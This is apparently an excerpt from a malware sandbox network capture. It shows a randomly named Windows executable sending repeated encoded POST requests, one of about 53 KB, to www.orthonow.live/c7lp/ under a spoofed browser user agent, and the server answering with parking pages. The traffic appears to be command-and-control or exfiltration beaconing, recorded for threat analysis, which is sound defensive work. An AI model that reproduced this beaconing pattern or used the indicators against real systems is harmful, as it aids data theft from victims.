Jul 3, 2024 17:35:39.987484932 CEST	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Wed, 03 Jul 2024 15:35:39 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49782	199.59.243.226	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:45.371922016 CEST	785	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 4b 4d 76 52 56 58 73 2f 39 6c 42 50 32 6b 63 30 34 34 54 4e 4e 7a 7a 62 48 41 61 4f 70 56 5a 51 4a 42 54 39 4b 39 75 4e 69 62 67 6c 4b 6f 7a 62 6d 34 2f 5a 73 67 30 43 45 55 59 68 6a 5a 4d 30 57 72 6d 47 6d 45 5a 53 78 75 31 70 79 64 69 4d 58 6c 59 62 36 58 4e 46 33 45 72 43 32 74 78 72 79 7a 6f 42 6e 66 36 66 4e 73 2b 46 62 58 5a 47 68 47 33 68 77 5a 4a 41 52 75 67 42 50 38 7a 35 61 67 58 6f 59 34 74 46 50 54 4d 79 61 6c 47 2f 63 30 36 52 2b 45 49 67 45 2f 32 64 66 65 61 4d 30 4a 55 42 51 35 2b 51 69 6d 5a 55 4a 39 45 66 4e 4f 70 61 6d 41 3d 3d Data Ascii: vX=NbF0gQ4r3+CKKMvRVXs/9lBP2kc044TNNzzbHAaOpVZQJBT9K9uNibglKozbm4/Zsg0CEUYhjZM0WrmGmEZSxu1pydiMXlYb6XNF3ErC2txryzoBnf6fNs+FbXZGhG3hwZJARugBP8z5agXoY4tFPTMyalG/c06R+EIgE/2dfeaM0JUBQ5+QimZUJ9EfNOpamA==
Jul 3, 2024 17:35:45.512809992 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:35:45 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: ca35958c-0418-4497-b6af-3fa6909b516c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=ca35958c-0418-4497-b6af-3fa6909b516c; expires=Wed, 03 Jul 2024 15:50:45 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:35:45.512824059 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiY2EzNTk1OGMtMDQxOC00NDk3LWI2YWYtM2ZhNjkwOWI1MTZjIiwicGFnZV90aW1lIjoxNzIwMDIwOTQ1LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49783	199.59.243.226	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:48.040883064 CEST	1125	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 49 73 66 52 58 32 73 2f 37 46 42 4d 37 30 63 30 78 59 54 4a 4e 7a 2f 62 48 46 32 65 70 44 42 51 4a 6b 2f 39 4c 34 53 4e 6c 62 67 6c 43 49 79 51 72 59 2f 4f 73 67 49 67 45 57 4d 68 6a 5a 59 30 58 5a 75 47 75 55 5a 52 37 4f 31 71 6b 74 69 42 54 6c 59 4e 36 58 77 6d 33 42 44 43 32 63 64 72 7a 78 51 42 77 36 4f 65 4a 4d 2b 35 53 33 5a 46 75 6d 33 72 77 5a 46 79 52 75 59 37 50 4b 7a 35 5a 41 33 6f 4b 34 74 47 57 54 4d 35 53 46 48 31 53 78 50 34 7a 51 41 4c 41 75 4f 31 61 73 7a 34 2b 5a 4d 62 59 72 53 49 7a 30 35 74 4a 2f 74 75 48 4f 70 66 38 59 78 48 48 6c 4a 77 36 65 6e 68 70 63 6d 5a 4d 6f 67 4f 6b 4e 4e 6c 62 52 51 42 46 37 75 4c 54 48 42 4b 78 75 4e 50 41 42 4e 71 6c 2b 77 66 49 4f 34 6d 66 6e 73 6f 33 38 55 38 79 75 62 52 2b 73 59 6b 6b 44 43 44 51 63 70 6a 64 79 6e 6c 43 4e 44 68 77 58 72 78 32 6d 4e 43 6d 4a 71 58 75 6d 63 34 53 2b 55 77 74 5a 31 35 2f 6e 6e 6c 39 48 43 33 51 67 77 2f 39 7a 55 35 47 68 72 4e 38 59 73 7a 38 39 6f 4d 67 37 32 47 6b 75 33 [TRUNCATED] Data Ascii: vX=NbF0gQ4r3+CKIsfRX2s/7FBM70c0xYTJNz/bHF2epDBQJk/9L4SNlbglCIyQrY/OsgIgEWMhjZY0XZuGuUZR7O1qktiBTlYN6Xwm3BDC2cdrzxQBw6OeJM+5S3ZFum3rwZFyRuY7PKz5ZA3oK4tGWTM5SFH1SxP4zQALAuO1asz4+ZMbYrSIz05tJ/tuHOpf8YxHHlJw6enhpcmZMogOkNNlbRQBF7uLTHBKxuNPABNql+wfIO4mfnso38U8yubR+sYkkDCDQcpjdynlCNDhwXrx2mNCmJqXumc4S+UwtZ15/nnl9HC3Qgw/9zU5GhrN8Ysz89oMg72Gku31l5tBzmwOF3eZLgeZ8iXEhsjQqOrXmJPL5GG5JmYs4ecKw0ouwrjpUXDc6XxzgU/IC82DemRoNyC+EYMIt7czUO8H3NoQBSF0ErZ1hovt/1vFcqu4PkhYiE/M11YoaLSNfcUM6hU7FW2MdH4uZ3VXv3UaTcCrDNOpLJP0JFJGeXaUd7k8wjE1DqGSLstI0QIwkAlP9iM=
Jul 3, 2024 17:35:48.180605888 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:35:47 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: a9bead28-745e-4f05-bb8e-578d10eb3aeb cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=a9bead28-745e-4f05-bb8e-578d10eb3aeb; expires=Wed, 03 Jul 2024 15:50:48 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:35:48.180619955 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTliZWFkMjgtNzQ1ZS00ZjA1LWJiOGUtNTc4ZDEwZWIzYWViIiwicGFnZV90aW1lIjoxNzIwMDIwOTQ4LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49784	199.59.243.226	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:50.712764978 CEST	1289	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 49 73 66 52 58 32 73 2f 37 46 42 4d 37 30 63 30 78 59 54 4a 4e 7a 2f 62 48 46 32 65 70 44 4a 51 4f 53 72 39 4c 62 36 4e 6b 62 67 6c 42 49 7a 58 72 59 2f 50 73 67 51 6b 45 57 42 44 6a 61 67 30 5a 75 43 47 76 68 31 52 2b 4f 31 72 72 4e 69 50 58 6c 59 2f 36 58 4d 79 33 46 72 53 32 74 70 72 79 78 67 42 6e 35 57 66 42 38 2b 46 53 33 5a 5a 6c 47 33 64 77 5a 78 69 52 75 45 37 50 50 7a 35 62 79 50 6f 5a 5a 74 47 4f 54 4d 2b 63 6c 48 32 64 52 50 5a 7a 51 38 78 41 75 4f 50 61 74 6e 34 2b 61 45 62 5a 71 53 4c 79 55 35 74 41 66 74 68 44 4f 6c 54 38 59 63 43 48 6c 74 77 36 63 33 68 34 4d 6d 5a 4a 4a 67 4a 30 39 4e 6a 66 52 51 57 42 37 53 35 54 48 46 65 78 73 68 50 42 78 5a 71 6c 4e 59 66 4b 71 55 6d 63 48 73 75 36 63 55 76 38 4f 62 46 2b 73 49 53 6b 43 6a 32 51 61 46 6a 63 51 2f 6c 54 5a 58 67 32 33 72 7a 37 32 4e 62 31 5a 75 4c 75 6e 77 6b 53 2b 56 76 74 59 68 35 2f 58 33 6c 38 47 43 32 64 51 77 47 30 54 55 57 63 52 33 51 38 59 77 37 38 39 51 63 67 38 47 47 6b 4f 33 [TRUNCATED] Data Ascii: vX=NbF0gQ4r3+CKIsfRX2s/7FBM70c0xYTJNz/bHF2epDJQOSr9Lb6NkbglBIzXrY/PsgQkEWBDjag0ZuCGvh1R+O1rrNiPXlY/6XMy3FrS2tpryxgBn5WfB8+FS3ZZlG3dwZxiRuE7PPz5byPoZZtGOTM+clH2dRPZzQ8xAuOPatn4+aEbZqSLyU5tAfthDOlT8YcCHltw6c3h4MmZJJgJ09NjfRQWB7S5THFexshPBxZqlNYfKqUmcHsu6cUv8ObF+sISkCj2QaFjcQ/lTZXg23rz72Nb1ZuLunwkS+VvtYh5/X3l8GC2dQwG0TUWcR3Q8Yw789Qcg8GGkO31wotC5WwDNXeHPgeo8iaVht3Ar/XXn5fL+WG6fWYoy+dD00ouwrvbUXHc9idz6GnIUbiDSGQjNyDgEYBot7kNUOhs3IQQAHh0Dv12xIvs71uTYqivPksUiEvcyGsoI/ONV8UT4BUwGW3JLygyZ3Jtv3NBTeCrGJvOZKTOTlBQcl7yK7kO/kYQLdiaBr5P2BsTxyl0rW7b4O0/bNODlldkCr6MJ4MFi7/S3gHT8AzLsm2WXdUR8mofevZsfGU6qQuNgG+BJ/IgWNmNYcAwtXfsf8AvR24ERxwq3BvkAYvB3TtMNKanVEeZgz8RGYEabmx128MFieDcTfsqIO6bs2LVz0YF3EnUnN4zC6GczZ0IWZ
Jul 3, 2024 17:35:50.712826014 CEST	5156	OUT	Data Raw: 30 49 43 75 35 42 48 65 51 6d 68 32 76 62 64 4f 6d 52 4c 39 4a 77 4c 6c 35 4e 6d 4a 2f 37 46 49 6a 57 53 36 69 6a 57 30 45 70 67 6c 6e 55 68 72 39 71 46 67 61 33 6b 69 62 4d 37 57 2f 6b 74 55 4d 65 6f 58 6c 64 73 7a 4c 64 7a 6a 50 55 56 64 2b 4d Data Ascii: 0ICu5BHeQmh2vbdOmRL9JwLl5NmJ/7FIjWS6ijW0EpglnUhr9qFga3kibM7W/ktUMeoXldszLdzjPUVd+Mh8o+VdSAI+hqpq2JV7zw4VZmicKVgyT1N9sh11E3BYpFYcf5C8HalXvIidxa5esAjWP3GY+qbvn8NlrasbUJCxrrGhWHt79bhMK4dPydlfvrlXn9VEtZ395Rx1XAwyP3OirgwHG0AwSTsg/TEPVqW7leHHDvgFYAP
Jul 3, 2024 17:35:50.712877035 CEST	6445	OUT	Data Raw: 53 66 36 72 42 45 77 69 56 48 37 73 79 76 35 57 71 78 38 75 2f 57 4a 62 47 2f 76 65 78 78 4b 65 69 50 71 6d 4d 78 55 46 65 49 75 73 72 66 58 62 72 34 4f 76 68 6b 33 4f 4f 65 61 2b 71 6d 5a 2f 55 67 77 61 5a 2f 51 68 31 37 6c 4c 4b 71 37 6f 76 37 Data Ascii: Sf6rBEwiVH7syv5Wqx8u/WJbG/vexxKeiPqmMxUFeIusrfXbr4Ovhk3OOea+qmZ/UgwaZ/Qh17lLKq7ov71ri5XDx4Iu6OKAkBl2EQ1EQYnThloWMT3crGYugAYj7pMkWwn4L2rumREhijfccYUcqzfIvU8jlp7XyO9h9tnP9L3jYJl5p1dIrSk6iuJb8DhD/twfzzx523HK5rhZ/R9dLXdYFDl4VLeRQ/8DaH2ncbyykwVQGFQ
Jul 3, 2024 17:35:50.832034111 CEST	2578	OUT	Data Raw: 79 4a 44 2b 55 67 7a 52 6d 52 67 58 4e 70 47 6d 67 64 38 75 55 66 54 53 6a 5a 52 62 7a 45 31 62 4e 74 49 76 53 47 67 7a 31 43 4f 46 77 4c 48 37 31 75 34 61 43 6f 6b 46 4c 71 32 6a 34 6c 59 30 79 77 73 41 2f 36 2f 33 6c 65 79 55 54 4c 37 2f 76 46 Data Ascii: yJD+UgzRmRgXNpGmgd8uUfTSjZRbzE1bNtIvSGgz1COFwLH71u4aCokFLq2j4lY0ywsA/6/3leyUTL7/vFwkGGVM+jzB1ay5Ip4mK+Eik7qoMqJflkETnhZF30ktV6Kl7iSlOPV3lb4qnHPBi+nkyYIe6kwnQ7A4QTSen4sXEvpvd9eUzdjpmwEiPqvpjDIWMK5ItdPedM5NbJNXMsxdWp60+Zz2TEzWakDiUnIpzGQnVskC5r7
Jul 3, 2024 17:35:50.832091093 CEST	2578	OUT	Data Raw: 31 64 62 7a 31 57 68 63 4b 47 34 63 30 67 31 69 67 6d 4e 39 30 6b 52 43 70 78 69 32 52 33 34 4a 79 65 4a 47 69 67 68 2f 44 67 76 4a 65 44 32 69 69 49 68 6b 34 61 41 4c 43 6a 44 38 37 56 67 37 46 2f 37 47 79 78 50 6e 69 76 6f 43 52 33 34 74 42 4a Data Ascii: 1dbz1WhcKG4c0g1igmN90kRCpxi2R34JyeJGigh/DgvJeD2iiIhk4aALCjD87Vg7F/7GyxPnivoCR34tBJunyT5+VMP1F7vjE6x+4f+Jmgxx0oTOUbFHu2UG9xMfM4jxq+c314hRoCJxwOi7DQ9X871AyHnNhjdies9y92fQqvgBjNSrW3VWks4sY8Z1/65GWOuHo/GY9FyICIKrixcidAh9MELA4uaQLq5Br3D3cFOVDVQLkgH
Jul 3, 2024 17:35:50.832134008 CEST	1289	OUT	Data Raw: 59 79 38 54 70 2b 42 75 73 4c 6b 30 4b 46 64 68 58 2b 6f 5a 42 34 6b 78 31 4d 62 62 49 45 4f 39 4f 58 54 47 69 31 37 67 30 56 58 48 72 39 36 75 78 61 6e 61 63 78 31 63 66 67 5a 6c 71 76 57 58 6d 37 54 4b 34 56 6a 75 33 7a 4d 31 39 4e 34 52 4d 31 Data Ascii: Yy8Tp+BusLk0KFdhX+oZB4kx1MbbIEO9OXTGi17g0VXHr96uxanacx1cfgZlqvWXm7TK4Vju3zM19N4RM1rBAVrD2NAf15W4rVAZ1aow6sZuLsRmMuQVSYoWBt0f5CXK/YpfH22qLa7k2zkwEeP5Zy+kj8zExW7LIiMjUvvJYT/Ntz45xDkDUlTK9Ii77JJ217xHAed2d3NpzrXQnvnTybrgoCxEbcTM/U+XV7kwjRbjKHwQN7g
Jul 3, 2024 17:35:50.832324982 CEST	19335	OUT	Data Raw: 68 34 48 47 67 58 48 78 68 6e 4b 58 57 65 5a 33 77 34 52 70 76 68 65 49 68 39 67 47 2f 6c 30 70 6a 64 44 42 63 62 71 2f 50 6d 30 4d 45 45 66 54 6d 6f 59 31 51 32 65 31 52 7a 57 43 70 36 58 65 61 56 70 63 65 6f 2b 6d 4d 45 73 62 4b 6a 67 78 69 4d Data Ascii: h4HGgXHxhnKXWeZ3w4RpvheIh9gG/l0pjdDBcbq/Pm0MEEfTmoY1Q2e1RzWCp6XeaVpceo+mMEsbKjgxiMJwVj9F766ylvKDVF+VgUEfP90BAqXjKBu0PaPk8Y1ajlPrGceuqY3n5JDgphCZGxkxQb5Jk2Ihh2GIf9IyIiR8EPBlXaIdgDRMiDjlY6Oez5ucdI+gqqxbRWmwdYby1ThB3WXmPLZrSFs3qZHQEZj8UEEN7S3u1us
Jul 3, 2024 17:35:50.950958014 CEST	3867	OUT	Data Raw: 71 7a 70 4a 48 75 38 6b 6b 37 4d 61 6f 39 5a 4a 73 72 65 6b 53 4f 62 69 35 31 76 6f 55 56 47 62 51 61 59 63 6e 70 4b 79 4f 68 64 6f 65 4a 67 46 36 32 50 55 76 34 6d 61 48 45 33 63 53 33 56 42 35 32 48 76 74 78 47 71 63 56 6e 7a 6a 32 54 43 66 50 Data Ascii: qzpJHu8kk7Mao9ZJsrekSObi51voUVGbQaYcnpKyOhdoeJgF62PUv4maHE3cS3VB52HvtxGqcVnzj2TCfPWGG8aYlR0Ov/XbKDSwMlWrhwxpHMvUgJ0AazYyRZaqfys3kVDZsB3eKi3NMZYw9FCfztB12Q+PVwUKcUogTkPyn0IIl90tQByB0Q5MPI/gKWB2Jmzu9Bgxd0iyfBW2lVVPyQlrg8CegZNecVO/2qMbEnJMw8iMoEY
Jul 3, 2024 17:35:50.951003075 CEST	1289	OUT	Data Raw: 32 36 62 49 31 56 51 42 48 36 33 51 55 4b 77 44 49 70 73 54 5a 42 66 59 30 32 56 56 46 48 71 5a 67 39 36 2f 4c 38 56 5a 7a 69 4b 6e 56 36 6f 4d 66 52 38 54 79 65 4b 4b 77 43 6c 4f 32 52 50 65 54 56 51 4e 78 72 45 5a 78 64 5a 56 48 44 2f 45 66 59 Data Ascii: 26bI1VQBH63QUKwDIpsTZBfY02VVFHqZg96/L8VZziKnV6oMfR8TyeKKwClO2RPeTVQNxrEZxdZVHD/EfYzy0ffmuc30SDc52Uq7HOJ7BaNps+vMVwMFwpmnrls422WcRmuGQguE8zBaYmWDzGake3yGonPOX4RsPA5LQhGtrDhteFEfYW+R4x76rJC4XtQ8ctdNh0vKAyGlF/QI+rMKp10gOKBmef8NEy6nZ+uvEpZS95x2Jr9
Jul 3, 2024 17:35:50.951662064 CEST	9696	OUT	Data Raw: 4d 30 4e 30 6a 30 73 64 73 62 4d 38 75 72 55 4c 70 61 70 37 54 41 74 4d 70 5a 78 67 30 59 42 37 32 59 76 66 66 50 47 39 6e 7a 58 4c 50 34 73 4f 59 43 63 63 55 7a 64 70 48 6f 57 39 34 42 34 39 4f 6e 79 34 30 4e 6d 6a 4d 77 7a 55 71 71 42 73 46 4c Data Ascii: M0N0j0sdsbM8urULpap7TAtMpZxg0YB72YvffPG9nzXLP4sOYCccUzdpHoW94B49Ony40NmjMwzUqqBsFLqaantIwulb7dfM2sclXGH2KuXrBuqHH4rU/k08JqhrTnRxmKJ1pGG2I3226drnMUIifk7lqbzUd17a0O39IUJ6fuwrcM6UErXdQ4Q/HZEiHs7ky4KBh2uVEpZ4nrW/k6sVbU65BUrvZR16t6PQo2Z2mboQGJrCSNT
Jul 3, 2024 17:35:51.092320919 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:35:50 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: ed1a68e7-3697-4277-ab11-ec9894f2b978 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=ed1a68e7-3697-4277-ab11-ec9894f2b978; expires=Wed, 03 Jul 2024 15:50:51 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 